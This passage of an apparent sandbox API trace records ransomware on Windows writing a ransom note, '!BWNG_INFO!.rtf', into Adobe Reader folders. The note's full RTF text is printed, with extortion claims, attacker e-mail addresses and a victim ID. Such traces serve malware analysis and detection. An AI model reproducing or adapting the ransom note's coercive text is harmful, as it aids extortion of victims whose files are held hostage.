REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x9dÆs\x1c\x10\x0eSÅ f¨\x06j|÷\x15\x1c¡ûÀ®åj+ù\x05»\x023é\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0043.457] WriteFile (in: hFile=0x1d0, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0043.458] CloseHandle (hObject=0x1d0) returned 1 [0043.458] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\!bwng_info!.rtf")) returned 0x20 [0043.458] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\!bwng_info!.rtf")) returned 0xffffffff [0043.458] GetLastError () returned 0x2 [0043.458] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0044.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 